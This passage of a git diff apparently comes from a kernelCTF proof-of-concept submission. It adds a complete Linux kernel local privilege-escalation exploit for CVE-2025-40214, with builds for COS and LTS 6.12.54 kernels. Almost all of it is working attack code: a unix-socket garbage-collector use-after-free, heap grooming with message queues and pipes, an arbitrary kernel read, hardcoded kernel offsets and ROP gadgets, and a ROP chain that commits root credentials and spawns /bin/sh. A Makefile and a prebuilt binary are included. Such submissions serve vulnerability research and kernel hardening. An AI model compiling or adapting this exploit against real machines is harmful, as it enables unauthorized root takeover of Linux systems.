*out_msg_msgseg_addr) +{ + int qid = Msgget(IPC_PRIVATE, 0644 | IPC_CREAT); + u8 msg_buffer[MSG_BUFFER_SIZE_MAX] = {}; + struct msgbuf *msg = (struct msgbuf *)msg_buffer; + msg->mtype = 1; + uintptr_t fake_skb = (uintptr_t)(msg->mtext + DATALEN_MSG); + + u64 kmalloc_cg_2k_addr = 0; + bool found_kmalloc_cg_2k_address = false; + + int dgram_unix_socketpair[2] = {}; + Socketpair(AF_UNIX, SOCK_DGRAM, 0, dgram_unix_socketpair); + + while (!found_kmalloc_cg_2k_address) { + struct list_head unix_unvisited_vertices = {}; + abr_read(unix_unvisited_vertices_symbol, &unix_unvisited_vertices, sizeof(unix_unvisited_vertices)); + + printf("unix_unvisited_vertices.next: 0x%016lx\n", (u64)(unix_unvisited_vertices.next)); + printf("unix_unvisited_vertices.prev: 0x%016lx\n", (u64)(unix_unvisited_vertices.prev)); + + struct list_head last_unix_unvisited_vertices = unix_unvisited_vertices; + + int fds[KMALLOC_CG_2K_SIZE / STRUCT_unix_edge_SIZE] = {}; + + for (size_t i = 0; i < sizeof(fds) / sizeof(fds[0]); i++) { + fds[i] = dgram_unix_socketpair[0]; + } + + sendfds( + dgram_unix_socketpair[0], + NULL, + 0, + fds, + KMALLOC_CG_2K_SIZE / STRUCT_unix_edge_SIZE, + (struct sockaddr_un){}, + 0 + ); + + abr_read(unix_unvisited_vertices_symbol, &unix_unvisited_vertices, sizeof(unix_unvisited_vertices)); + + if (unix_unvisited_vertices.prev != last_unix_unvisited_vertices.prev) { + u64 vertex_addr = (u64)unix_unvisited_vertices.prev - STRUCT_unix_vertex_MEMBER_entry_OFFSET; + printf("[+] vertex addr: 0x%016lx\n", vertex_addr); + + u64 out_degree = 0; + abr_read( + vertex_addr + STRUCT_unix_vertex_MEMBER_out_degree_OFFSET, + &out_degree, + sizeof(out_degree) + ); + + printf("[+] out_degree: %lu\n", out_degree); + + if (out_degree == KMALLOC_CG_2K_SIZE / STRUCT_unix_edge_SIZE) { + struct list_head edges = {}; + abr_read( + vertex_addr + STRUCT_unix_vertex_MEMBER_edges_OFFSET, + &edges, + sizeof(edges) + ); + + printf("[+] edges.next = 0x%016lx\n", (u64)(edges.next)); + printf("[+] edges.prev = 0x%016lx\n", (u64)(edges.prev)); + + kmalloc_cg_2k_addr = (u64)(edges.next) - STRUCT_unix_edge_MEMBER_vertex_entry_OFFSET; + printf("[+] kmalloc_cg_2k_addr: 0x%016lx\n", kmalloc_cg_2k_addr); + found_kmalloc_cg_2k_address = true; + } + } + + if (!found_kmalloc_cg_2k_address) { + Close(dgram_unix_socketpair[0]); + Close(dgram_unix_socketpair[1]); + } + } + + *(u64 *)(fake_skb + STRUCT_SK_BUFF_MEMBER_next_OFFSET) = kmalloc_cg_2k_addr + 8; + *(u64 *)(fake_skb + STRUCT_SK_BUFF_MEMBER_prev_OFFSET) = kmalloc_cg_2k_addr + 8; + *(u32 *)(fake_skb + STRUCT_SK_BUFF_MEMBER_users_OFFSET) = 1; + //*(u64 *)(fake_skb + STRUCT_SK_BUFF_MEMBER_destructor_OFFSET) = 0x4141414141414141UL; + + Close(dgram_unix_socketpair[0]); + Close(dgram_unix_socketpair[1]); + + Msgsnd(qid, msg_buffer, DATALEN_MSG + KMALLOC_CG_2K_SIZE - sizeof(struct msg_msgseg), 0); + + u8 kmalloc_cg_2k_leak_buffer[KMALLOC_CG_2K_SIZE] = {}; + abr_read(kmalloc_cg_2k_addr, kmalloc_cg_2k_leak_buffer, KMALLOC_CG_2K_SIZE); + + fake_skb = (uintptr_t)(kmalloc_cg_2k_leak_buffer + 8); + + u64 fake_skb_next = *(u64 *)(fake_skb + STRUCT_SK_BUFF_MEMBER_next_OFFSET); + u64 fake_skb_prev = *(u64 *)(fake_skb + STRUCT_SK_BUFF_MEMBER_prev_OFFSET); + + if (fake_skb_next != fake_skb_prev || fake_skb_next != kmalloc_cg_2k_addr + 8) { + Msgctl(qid, IPC_RMID, NULL); + return false; + } + + printf("[+] fake skb next: 0x%016lx\n", fake_skb_next); + printf("[+] fake skb prev: 0x%016lx\n", fake_skb_prev); + + *out_qid = qid; + *out_msg_msgseg_addr = kmalloc_cg_2k_addr; + return true; +} + +void overlap_msg_msgseg_with_pipe_buffer(int victim_fd, u64 fake_skb_addr, int out_pipe_fd[2]) +{ + int pipe_fd[2] = {}; + Pipe(pipe_fd); + + u8 page_buffer[PAGE_SIZE] = {}; + u32 skb_len = 1; + uaf_oob_skb_overwrite_prepare_page_buffer( + page_buffer, + STRUCT_SK_BUFF_MEMBER_LEN_OFFSET, + &skb_len, + sizeof(skb_len) + ); + + u32 skb_data_len = 0; + uaf_oob_skb_overwrite_prepare_page_buffer( + page_buffer, + STRUCT_SK_BUFF_MEMBER_DATA_LEN_OFFSET, + &skb_data_len, + sizeof(skb_data_len) + ); + + u8 dummy = 0; + u64 skb_data = (u64)&dummy; + uaf_oob_skb_overwrite_prepare_page_buffer( + page_buffer, + STRUCT_SK_BUFF_MEMBER_DATA_OFFSET, + &skb_data, + sizeof(skb_data) + ); + + u64 skb_next = fake_skb_addr; + uaf_oob_skb_overwrite_prepare_page_buffer( + page_buffer, + STRUCT_SK_BUFF_MEMBER_next_OFFSET, + &skb_next, + sizeof(skb_next) + ); + + u64 skb_prev = fake_skb_addr; + uaf_oob_skb_overwrite_prepare_page_buffer( + page_buffer, + STRUCT_SK_BUFF_MEMBER_prev_OFFSET, + &skb_prev, + sizeof(skb_prev) + ); + + uaf_oob_skb_overwrite_trigger(page_buffer); + Recv(g_victim_sockfd, &dummy, 1, MSG_OOB); + + Fcntl(pipe_fd[1], F_SETPIPE_SZ, PAGE_SIZE * 26); + + u8 msg_buffer[MSG_BUFFER_SIZE_MAX] = {}; + Write(pipe_fd[1], &dummy, 1); + + out_pipe_fd[0] = pipe_fd[0]; + out_pipe_fd[1] = pipe_fd[1]; +} + +void trigger_code_execution(int qid, int pipe_fd[2], u64 msg_msgseg_addr) +{ + u8 msg_buffer[MSG_BUFFER_SIZE_MAX] = {}; + struct msgbuf *msg = (struct msgbuf *)msg_buffer; + msg->mtype = 1; + + void *buffer_start = (void *)(msg->mtext + DATALEN_MSG); + void *buffer_end = (void *)(msg->mtext + DATALEN_MSG + KMALLOC_CG_2K_SIZE - sizeof(struct msg_msgseg)); + + struct pipe_buf_operations *pipe_buf_operations = (struct pipe_buf_operations *) + ((uintptr_t)(buffer_end) - sizeof(struct pipe_buf_operations)); + + pipe_buf_operations->release = (void *)push_rdx_pop_rsp_ret; + + struct pipe_buffer *fake_pipe_buffer = (struct pipe_buffer *)buffer_start; + fake_pipe_buffer->ops = (void *)(msg_msgseg_addr + KMALLOC_CG_2K_SIZE - sizeof(struct pipe_buf_operations)); + + u64 *rop = (u64 *)buffer_start; + rop[0] = add_rsp_0x10_ret; + rop[3] = pop_rdi_ret; + rop[4] = 0; + rop[5] = prepare_kernel_cred; + rop[6] = pop_rcx_ret; + rop[7] = 0; + rop[8] = mov_rdi_rax_rep_ret; + rop[9] = commit_creds; + rop[10] = pop_rdi_ret; + rop[11] = getpid(); + rop[12] = find_task_by_vpid; + rop[13] = pop_rcx_ret; + rop[14] = STRUCT_task_struct_MEMBER_fs_OFFSET; + rop[15] = add_rax_rcx_ret; + rop[16] = pop_rsi_ret; + rop[17] = init_fs; + rop[18] = mov_qword_ptr_rax_rsi_ret; + rop[19] = swapgs_restore_regs_and_return_to_usermode_nopop; + rop[20] = 0; // dummy + rop[21] = 0; // dummy + rop[22] = (u64)win; + rop[23] = user_cs; + rop[24] = user_rflags; + rop[25] = user_rsp & 0xffffffffffffff00; + rop[26] = user_ss; + + u8 tmp_buffer[MSG_BUFFER_SIZE_MAX] = {}; + Msgrcv(qid, &tmp_buffer, DATALEN_MSG + KMALLOC_CG_2K_SIZE - sizeof(struct msg_msgseg), 0, IPC_NOWAIT | MSG_NOERROR); + Msgsnd(qid, msg_buffer, DATALEN_MSG + KMALLOC_CG_2K_SIZE - sizeof(struct msg_msgseg), 0); + + Close(pipe_fd[0]); + Close(pipe_fd[1]); +} + +void win(void) +{ + char sh_str[] = "sh"; + char *sh_args[] = {sh_str, NULL}; + execve("/bin/sh", sh_args, NULL); +} + +void save_state(void) +{ + __asm__( + ".intel_syntax noprefix;" + "mov user_cs, cs;" + "mov user_ss, ss;" + "mov user_rsp, rsp;" + "pushf;" + "pop user_rflags;" + ".att_syntax;" + ); +} + +int main(void) +{ + save_state(); + pin_thread_on_cpu(0); + setup_nofile_rlimit(); + + int victim_fd = -1; + int overlap_pipe[2] = {}; + int page_nth = -1; + int page_offset = -1; + overlap_oob_skb_with_pipe_page(&victim_fd, overlap_pipe, &page_nth, &page_offset); + + printf("[+] victim_fd: %d\n", victim_fd); + printf("[+] overlap_pipe[0] = %d\n", overlap_pipe[0]); + printf("[+] overlap_pipe[1] = %d\n", overlap_pipe[1]); + printf("[+] page_nth: %d\n", page_nth); + printf("[+] page_offset: %d\n", page_offset); + + uaf_oob_skb_overwrite_prepare(victim_fd, overlap_pipe, page_nth, page_offset); + u64 kernel_base = find_kernel_base(); + + printf("[+] kernel base: 0x%016lx\n", kernel_base); + update_kernel_address(kernel_base); + + int fake_skb_qid = -1; + u64 msg_msgseg_addr = 0; + + while (!setup_fake_skb_with_msg_msgseg(victim_fd, &fake_skb_qid, &msg_msgseg_addr)) { + ; + } + + int code_execution_pipe_fd[2] = {}; + u64 fake_skb_addr = msg_msgseg_addr + 8; + overlap_msg_msgseg_with_pipe_buffer(victim_fd, fake_skb_addr, code_execution_pipe_fd); + + trigger_code_execution(fake_skb_qid, code_execution_pipe_fd, msg_msgseg_addr); +} diff --git a/pocs/linux/kernelctf/CVE-2025-40214_lts_cos/exploit/cos-113-18244.521.7/exploit.hpp b/pocs/linux/kernelctf/CVE-2025-40214_lts_cos/exploit/cos-113-18244.521.7/exploit.hpp new file mode 100644 index 000000000..93d60cecb --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-40214_lts_cos/exploit/cos-113-18244.521.7/exploit.hpp @@ -0,0 +1,332 @@ +#ifndef EXPLOIT_H +#define EXPLOIT_H + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +typedef uint8_t u8; +typedef uint64_t u64; +typedef uint32_t u32; +typedef uint16_t u16; + +void unix_error(const char *msg); +void Pthread_error(const char *msg, int error_code); +int Socket(int domain, int type, int protocol); +void Socketpair(int domain, int type, int protocol, int socket_vector[2]); +void Setsockopt(int sockfd, int level, int optname, const void *optval, socklen_t optlen); +void Connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); +void Bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen); +void Getsockname(int sockfd, struct sockaddr *addr, socklen_t *addrlen); +void Listen(int sockfd, int backlog); +int Accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen); +ssize_t Sendmsg(int socket, const struct msghdr *message, int flags); +ssize_t Recvmsg(int socket, struct msghdr *message, int flags); +ssize_t Send(int sockfd, const void *buf, size_t size, int flags); +ssize_t Sendto(int sockfd, const void *msg, size_t length, int flags, const struct sockaddr *dst_addr, socklen_t dst_len); +ssize_t Recv(int sockfd, void *buf, size_t size, int flags); +void *Calloc(size_t nelem, size_t elsize); +void Close(int fd); +void Pipe(int pipefd[2]); +int Fcntl(int fd, int op, unsigned long arg); +ssize_t Write(int fd, const void *buf, size_t count); +ssize_t Read(int fd, void *buf, size_t count); +void Ioctl(int fd, unsigned long op, unsigned long arg); +void Unshare(int flags); +void Getrlimit(int resource, struct rlimit *rlim); +void Setrlimit(int resource, const struct rlimit *rlim); +int Msgget(key_t key, int msgflg); +void Msgsnd(int msqid, const void *msgp, size_t msgsz, int msgflg); +void Msgrcv(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg); +int Msgctl(int msqid, int op, struct msqid_ds *buf); +void Sched_setaffinity(pid_t pid, size_t cpusetsize, const cpu_set_t *cpuset); +void Pthread_create(pthread_t *newthread, const pthread_attr_t *attr, void *(*start_routine) (void *), void *arg); +void Pthread_join(pthread_t thread, void **retval); +void Pthread_setaffinity_np(pthread_t thread, size_t cpusetsize, const cpu_set_t *cpuset); +void pin_thread_on_cpu(int cpu); +void sendfds( + int unix_sockfd, + void *data, + size_t data_len, + int *fds, + int fds_len, + struct sockaddr_un addr, + socklen_t addrlen +); +void recvfds(int unix_sockfd, void *data, size_t data_len, int *fds, int fds_len, int msg_peek); + +struct unix_gc_thread { + pthread_t handle; + pthread_mutex_t mutex; + pthread_cond_t cond; + bool quit; + bool trigger_gc; + bool gc_complete; + int trigger_gc_fd; + int wait_for_gc_fd; +}; + +void *unix_gc_thread_fn(void *arg); +void unix_gc_thread_init(struct unix_gc_thread *t); +void unix_gc_thread_cleanup(struct unix_gc_thread *t); +void unix_gc_trigger(struct unix_gc_thread *t); +void unix_gc_wait(struct unix_gc_thread *t); +void unix_gc_thread_quit(struct unix_gc_thread *t); + +#define SCM_MAX_FD 253 + +#define UAF_OOB_SKB_BYTE_DATA (u8)0x41 +#define RECLAIM_UAF_OOB_SKB_DATA (u8)0x42 +#define DETECT_OVERLAP_PIPE_OOB_SKB_DATA (u8)0x43 + +struct exploit_kernel_unix_graph { + int stream_unix_socket_A_fd; + int stream_unix_socket_B_fd; + int stream_unix_socket_C_fd; + int dgram_unix_socket_D_fd; +}; + +void exploit_kernel_unix_graph_prepare(struct exploit_kernel_unix_graph *p); +void exploit_kernel_unix_graph_build_stage_1(struct exploit_kernel_unix_graph *p); +void exploit_kernel_unix_graph_build_stage_2(struct exploit_kernel_unix_graph *p); +void exploit_kernel_unix_graph_cleanup(struct exploit_kernel_unix_graph *p); + +struct cyclic_kernel_unix_graph { + int dgram_unix_socket_fd; +}; + +void cyclic_kernel_unix_graph_prepare(struct cyclic_kernel_unix_graph *p); +void cyclic_kernel_unix_graph_build(struct cyclic_kernel_unix_graph *p); +void cyclic_kernel_unix_graph_cleanup(struct cyclic_kernel_unix_graph *p); + +struct kernel_unix_vertex_spray { + int vertex_count; + int *dgram_unix_socket_fds; +}; + +void kernel_unix_vertex_spray_prepare(struct kernel_unix_vertex_spray *p, int spray_count); +void kernel_unix_vertex_spray_trigger_alloc(struct kernel_unix_vertex_spray *p); +void kernel_unix_vertex_spray_trigger_free(struct kernel_unix_vertex_spray *p); +void kernel_unix_vertex_spray_cleanup(struct kernel_unix_vertex_spray *p); + +void prepare_uaf( + struct exploit_kernel_unix_graph *exploit_kernel_unix_graph, + struct cyclic_kernel_unix_graph *cyclic_kernel_unix_graph, + struct kernel_unix_vertex_spray *kernel_unix_vertex_spray, + struct unix_gc_thread *unix_gc_thread +); + +bool trigger_uaf( + struct exploit_kernel_unix_graph *exploit_kernel_unix_graph, + struct unix_gc_thread *unix_gc_thread +); + +bool uaf_success(int victim_socket_fd); + +struct list_head { + struct list_head *next, *prev; +}; + +static_assert(sizeof(struct list_head) == 16, "sizeof(struct list_head) != 16"); + +struct msg_msgseg { + struct msg_msgseg *next; +}; + +static_assert(sizeof(struct msg_msgseg) == 8, "sizeof(struct msg_msgseg) != 8"); + +struct msg_msg { + struct list_head m_list; + long m_type; + size_t m_ts; + struct msg_msgseg *next; + void *security; +}; + +#define PAGE_SIZE 4096 +#define DATALEN_MSG ((size_t)PAGE_SIZE-sizeof(struct msg_msg)) +#define DATALEN_SEG ((size_t)PAGE_SIZE-sizeof(struct msg_msgseg)) +#define MSG_BUFFER_SIZE_MAX (DATALEN_MSG + DATALEN_SEG + sizeof(long)) + +#define STRUCT_SK_BUFF_MEMBER_next_OFFSET 0x0 +#define STRUCT_SK_BUFF_MEMBER_prev_OFFSET 0x8 +#define STRUCT_SK_BUFF_MEMBER_LEN_OFFSET 0x70 +#define STRUCT_SK_BUFF_MEMBER_DATA_OFFSET 0xd0 +#define STRUCT_SK_BUFF_MEMBER_DATA_LEN_OFFSET 0x74 +#define STRUCT_SK_BUFF_MEMBER__SKB_REFDST_OFFSET 0x58 +#define STRUCT_SK_BUFF_MEMBER_destructor_OFFSET 0x60 +#define STRUCT_SK_BUFF_MEMBER_users_OFFSET 0xdc + +#define SKBUFF_HEAD_CACHE_OBJ_SIZE 256 +#define SKBUFF_HEAD_CACHE_OBJS_PER_SLAB 16 + +static_assert( + PAGE_SIZE / SKBUFF_HEAD_CACHE_OBJ_SIZE == SKBUFF_HEAD_CACHE_OBJS_PER_SLAB, + "PAGE_SIZE / SKBUFF_HEAD_CACHE_OBJ_SIZE != SKBUFF_HEAD_CACHE_OBJS_PER_SLAB" +); + +void setup_nofile_rlimit(void); +u64 find_kernel_base(void); + +struct gate_struct { + uint16_t offset_low; + uint16_t segment; + uint16_t bits; + uint16_t offset_middle; + uint32_t offset_high; + uint32_t reserved; +}; + +static u64 asm_exc_divide_error_offset_from_kernel_base = 0x1400990; +static u64 init_task = 0x2a15a40; +static u64 init_cred = 0x2a75d80; +static u64 init_fs = 0x2bb33e0; +static u64 unix_unvisited_vertices_symbol = 0x2d03140; + +static u64 push_rdx_pop_rsp_ret = 0x33a4da; +static u64 add_rsp_0x10_ret = 0x62b8ca; +static u64 pop_rdi_ret = 0x1406f0; +static u64 pop_rcx_ret = 0x11fe4b; +static u64 pop_rsi_ret = 0x9491de; +static u64 mov_rdi_rax_rep_ret = 0x12c35fb; +static u64 mov_qword_ptr_rax_rsi_ret = 0x1fe313; +static u64 add_rax_rcx_ret = 0xe4d84; + +static u64 prepare_kernel_cred = 0x1d58d0; +static u64 commit_creds = 0x1d5630; +static u64 find_task_by_vpid = 0x1cbfa0; +static u64 swapgs_restore_regs_and_return_to_usermode_nopop = 0x14011c6; + +static inline void update_kernel_address(u64 kernel_base) +{ + init_task += kernel_base; + printf("[+] init_task: 0x%016lx\n", init_task); + init_cred += kernel_base; + printf("[+] init_cred: 0x%016lx\n", init_cred); + init_fs += kernel_base; + printf("[+] init_fs: 0x%016lx\n", init_fs); + unix_unvisited_vertices_symbol += kernel_base; + printf("[+] unix_unvisited_vertices_symbol: 0x%016lx\n", unix_unvisited_vertices_symbol); + push_rdx_pop_rsp_ret += kernel_base; + printf("[+] push_rdx_pop_rsp_ret: 0x%016lx\n", push_rdx_pop_rsp_ret); + add_rsp_0x10_ret += kernel_base; + printf("[+] add_rsp_0x10_ret: 0x%016lx\n", add_rsp_0x10_ret); + pop_rdi_ret += kernel_base; + printf("[+] pop_rdi_ret: 0x%016lx\n", pop_rdi_ret); + pop_rcx_ret += kernel_base; + printf("[+] pop_rcx_ret: 0x%016lx\n", pop_rcx_ret); + pop_rsi_ret += kernel_base; + printf("[+] pop_rsi_ret: 0x%016lx\n", pop_rsi_ret); + mov_rdi_rax_rep_ret += kernel_base; + printf("[+] mov_rdi_rax_rep_ret: 0x%016lx\n", mov_rdi_rax_rep_ret); + mov_qword_ptr_rax_rsi_ret += kernel_base; + printf("[+] mov_qword_ptr_rax_rsi_ret: 0x%016lx\n", mov_qword_ptr_rax_rsi_ret); + add_rax_rcx_ret += kernel_base; + printf("[+] add_rax_rcx_ret: 0x%016lx\n", add_rax_rcx_ret); + + prepare_kernel_cred += kernel_base; + printf("[+] prepare_kernel_cred: 0x%016lx\n", prepare_kernel_cred); + commit_creds += kernel_base; + printf("[+] commit_creds: 0x%016lx\n", commit_creds); + find_task_by_vpid += kernel_base; + printf("[+] find_task_by_vpid: 0x%016lx\n", find_task_by_vpid); + swapgs_restore_regs_and_return_to_usermode_nopop += kernel_base; + printf("[+] swapgs_restore_regs_and_return_to_usermode_nopop: 0x%016lx\n", swapgs_restore_regs_and_return_to_usermode_nopop); +} + +#define PAGE_PER_PIPE 256 + +void overlap_oob_skb_with_pipe_page( + int *out_victim_fd, + int out_overlap_pipe[2], + int *out_page_nth, + int *out_page_offset +); + +static int g_victim_sockfd = -1; +static int g_overlap_pipe_fd[2]; +static int g_overlap_page_nth = -1; +static int g_overlap_page_offset = -1; + +static inline void uaf_oob_skb_overwrite_prepare(int sockfd, int pipe_fd[2], int page_nth, int page_offset) +{ + g_victim_sockfd = sockfd; + g_overlap_pipe_fd[0] = pipe_fd[0]; + g_overlap_pipe_fd[1] = pipe_fd[1]; + g_overlap_page_nth = page_nth; + g_overlap_page_offset = page_offset; +} + +void uaf_oob_skb_overwrite_prepare_page_buffer(void *page_buffer, int member_offset, void *value, size_t value_size); +void uaf_oob_skb_overwrite_trigger(void *page_buffer); + +void abr_read(u64 kernel_address, void *bytes, size_t total_bytes); + +#define KMALLOC_CG_2K_SIZE 2048 + +#define STRUCT_unix_edge_SIZE 48 + +#define STRUCT_unix_vertex_MEMBER_entry_OFFSET 0x10 +#define STRUCT_unix_vertex_MEMBER_edges_OFFSET 0x0 +#define STRUCT_unix_vertex_MEMBER_out_degree_OFFSET 0x30 + +#define STRUCT_unix_edge_MEMBER_vertex_entry_OFFSET 0x10 + +bool setup_fake_skb_with_msg_msgseg(int victim_fd, int *out_qid, u64 *out_msg_msgseg_addr); +void overlap_msg_msgseg_with_pipe_buffer(int victim_fd, u64 fake_skb_addr, int out_pipe_fd[2]); +void trigger_code_execution(int qid, int pipe_fd[2], u64 msg_msgseg_addr); +void win(void); +void save_state(void); + +struct pipe_buffer { + void *page; + unsigned int offset, len; + void *ops; + unsigned int flags; + unsigned long private_; +}; + +static inline void pipe_buffer_dump(struct pipe_buffer *pipe_buffer) +{ + printf("[+] page: 0x%016lx\n", (u64)(pipe_buffer->page)); + printf("[+] offset: %u\n", pipe_buffer->offset); + printf("[+] len: %u\n", pipe_buffer->len); + printf("[+] ops: 0x%016lx\n", (u64)(pipe_buffer->ops)); + printf("[+] flags: %u\n", pipe_buffer->flags); + printf("[+] private: 0x%016lx\n", pipe_buffer->private_); +} + +struct pipe_buf_operations { + void *confirm; + void *release; + void *try_steal; + void *get; +}; + +#define STRUCT_pipe_buf_operations_MEMBER_release_OFFSET 8 + +#define STRUCT_task_struct_MEMBER_fs_OFFSET 0x828 + +static inline void wait_for_inspection(const char *msg) +{ + fprintf(stderr, "%s\n", msg); + getchar(); +} + +#endif // EXPLOIT_H diff --git a/pocs/linux/kernelctf/CVE-2025-40214_lts_cos/exploit/lts-6.12.54/Makefile b/pocs/linux/kernelctf/CVE-2025-40214_lts_cos/exploit/lts-6.12.54/Makefile new file mode 100644 index 000000000..4c6bd3192 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-40214_lts_cos/exploit/lts-6.12.54/Makefile @@ -0,0 +1,13 @@ +exploit: + g++ -static -Ofast exploit.cc -o exploit -lpthread -lkeyutils -lkernelXDK + +exploit_debug: + g++ -static -Ofast exploit.cc -o exploit_debug -lpthread -lkeyutils -lkernelXDK + +prerequisites: libkeyutils-apt + +libkeyutils-apt : + sudo apt-get install libkeyutils-dev + +run: + ./exploit diff --git a/pocs/linux/kernelctf/CVE-2025-40214_lts_cos/exploit/lts-6.12.54/exploit b/pocs/linux/kernelctf/CVE-2025-40214_lts_cos/exploit/lts-6.12.54/exploit new file mode 100644 index 000000000..614c6423c Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2025-40214_lts_cos/exploit/lts-6.12.54/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2025-40214_lts_cos/exploit/lts-6.12.54/exploit.cc b/pocs/linux/kernelctf/CVE-2025-40214_lts_cos/exploit/lts-6.12.54/exploit.cc new file mode 100644 index 000000000..0b1b78834 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-40214_lts_cos/exploit/lts-6.12.54/exploit.cc @@ -0,0 +1,1241 @@ +#include "exploit.hpp" + +void unix_error(const char *msg) +{ + fprintf(stderr, "%s: %s\n", msg, strerror(errno)); + exit(EXIT_FAILURE); +} + +void Pthread_error(const char *msg, int error_code) +{ + fprintf(stderr, "%s: %s\n", msg, strerror(error_code)); + exit(EXIT_FAILURE); +} + +int Socket(int domain, int type, int protocol) +{ + int fd = socket(domain, type, protocol); + if (fd < 0) + unix_error("socket"); + + return fd; +} + +void Socketpair(int domain, int type, int protocol, int socket_vector[2]) +{ + if (socketpair(domain, type, protocol, socket_vector) < 0) + unix_error("socketpair"); +} + +void Setsockopt(int sockfd, int level, int optname, const void *optval, socklen_t optlen) +{ + if (setsockopt(sockfd, level, optname, optval, optlen) < 0) + unix_error("setsockopt"); +} + +void Connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen) +{ + if (connect(sockfd, addr, addrlen) < 0) + unix_error("connect"); +} + +void Bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen) +{ + if (bind(sockfd, addr, addrlen) < 0) + unix_error("bind"); +} + +void Getsockname(int sockfd, struct sockaddr *addr, socklen_t *addrlen) +{ + if (getsockname(sockfd, addr, addrlen) < 0) + unix_error("getsockname"); +} + +void Listen(int sockfd, int backlog) +{ + if (listen(sockfd, backlog) < 0) + unix_error("listen"); +} + +int Accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen) +{ + int new_sockfd = accept(sockfd, addr, addrlen); + if (new_sockfd < 0) + unix_error("accept"); + + return new_sockfd; +} + +ssize_t Sendmsg(int socket, const struct msghdr *message, int flags) +{ + ssize_t ret = sendmsg(socket, message, flags); + if (ret < 0) + unix_error("sendmsg"); + + return ret; +} + +ssize_t Recvmsg(int socket, struct msghdr *message, int flags) +{ + ssize_t ret = recvmsg(socket, message, flags); + if (ret < 0) + unix_error("recvmsg"); + + return ret; +} + +ssize_t Send(int sockfd, const void *buf, size_t size, int flags) +{ + ssize_t ret = send(sockfd, buf, size, flags); + if (ret < 0) + unix_error("send"); + + return ret; +} + +ssize_t Sendto(int sockfd, const void *msg, size_t length, int flags, const struct sockaddr *dst_addr, socklen_t dst_len) +{ + ssize_t ret = sendto(sockfd, msg, length, flags, dst_addr, dst_len); + if (ret < 0) + unix_error("sendto"); + + return ret; +} + +ssize_t Recv(int sockfd, void *buf, size_t size, int flags) +{ + ssize_t ret = recv(sockfd, buf, size, flags); + if (ret < 0) + unix_error("recv"); + + return ret; +} + +void *Calloc(size_t nelem, size_t elsize) +{ + void *p = calloc(nelem, elsize); + if (p == NULL) + unix_error("calloc"); + + return p; +} + +void Close(int fd) +{ + if (close(fd) < 0) + unix_error("close"); +} + +void Ioctl(int fd, unsigned long op, unsigned long arg) +{ + if (ioctl(fd, op, arg) < 0) + unix_error("ioctl"); +} + +void Unshare(int flags) +{ + if (unshare(flags) < 0) + unix_error("unshare"); +} + +void Getrlimit(int resource, struct rlimit *rlim) +{ + if (getrlimit(resource, rlim) < 0) + unix_error("getrlimit"); +} + +void Setrlimit(int resource, const struct rlimit *rlim) +{ + if (setrlimit(resource, rlim) < 0) + unix_error("setrlimit"); +} + +void Sched_setaffinity(pid_t pid, size_t cpusetsize, const cpu_set_t *cpuset) +{ + if (sched_setaffinity(pid, cpusetsize, cpuset) < 0) + unix_error("sched_setaffinity"); +} + +void Pthread_create(pthread_t *newthread, const pthread_attr_t *attr, void *(*start_routine) (void *), void *arg) +{ + int ret = pthread_create(newthread, attr, start_routine, arg); + if (ret != 0) + Pthread_error("pthread_create", ret); +} + +void Pthread_join(pthread_t thread, void **retval) +{ + int ret = pthread_join(thread, retval); + if (ret != 0) + Pthread_error("pthread_join", ret); +} + +void Pthread_setaffinity_np(pthread_t thread, size_t cpusetsize, const cpu_set_t *cpuset) +{ + int ret = pthread_setaffinity_np(thread, cpusetsize, cpuset); + if (ret != 0) + Pthread_error("pthread_setaffinity_np", ret); +} + +void pin_thread_on_cpu(int cpu) +{ + cpu_set_t cpuset; + CPU_ZERO(&cpuset); + CPU_SET(cpu, &cpuset); + + pthread_t current_thread = pthread_self(); + Pthread_setaffinity_np(current_thread, sizeof(cpu_set_t), &cpuset); +} + +void sendfds( + int unix_sockfd, + void *data, + size_t data_len, + int *fds, + int fds_len, + struct sockaddr_un addr, + socklen_t addrlen +) +{ + assert(fds_len <= SCM_MAX_FD); + union { + char buf[CMSG_SPACE(sizeof(int) * SCM_MAX_FD)]; + struct cmsghdr align; + } control_msg; + + struct msghdr msgh = {}; + struct iovec iov = {}; + + iov.iov_base = data; + iov.iov_len = data_len; + msgh.msg_iov = &iov; + msgh.msg_iovlen = 1; + + msgh.msg_control = control_msg.buf; + msgh.msg_controllen = CMSG_SPACE(sizeof(int) * fds_len); + + struct cmsghdr *cmsgp = CMSG_FIRSTHDR(&msgh); + cmsgp->cmsg_level = SOL_SOCKET; + cmsgp->cmsg_type = SCM_RIGHTS; + cmsgp->cmsg_len = CMSG_LEN(sizeof(int) * fds_len); + memcpy(CMSG_DATA(cmsgp), fds, sizeof(int) * fds_len); + + if (addrlen) { + msgh.msg_name = &addr; + msgh.msg_namelen = addrlen; + } + + Sendmsg(unix_sockfd, &msgh, 0); +} + +void recvfds(int unix_sockfd, void *data, size_t data_len, int *fds, int fds_len, int msg_peek) +{ + struct msghdr msgh = {}; + struct iovec iov = {}; + size_t msg_controllen = CMSG_SPACE(fds_len * sizeof(int)); + void *msg_control = Calloc(1, msg_controllen); + + iov.iov_base = data; + iov.iov_len = data_len; + msgh.msg_iov = &iov; + msgh.msg_iovlen = 1; + msgh.msg_control = msg_control; + msgh.msg_controllen = msg_controllen; + Recvmsg(unix_sockfd, &msgh, msg_peek); + + struct cmsghdr *cmsgp = CMSG_FIRSTHDR(&msgh); + if (cmsgp == NULL || + cmsgp->cmsg_len != CMSG_LEN(fds_len * sizeof(int)) || + cmsgp->cmsg_type != SCM_RIGHTS) + exit(EXIT_FAILURE); + + memcpy(fds, CMSG_DATA(cmsgp), fds_len * sizeof(int)); + free(msg_control); +} + +void *unix_gc_thread_fn(void *arg) +{ + pin_thread_on_cpu(1); + struct unix_gc_thread *t = (struct unix_gc_thread *)arg; + + for ( ;; ) { + pthread_mutex_lock(&t->mutex); + while (!t->quit && !t->trigger_gc) + 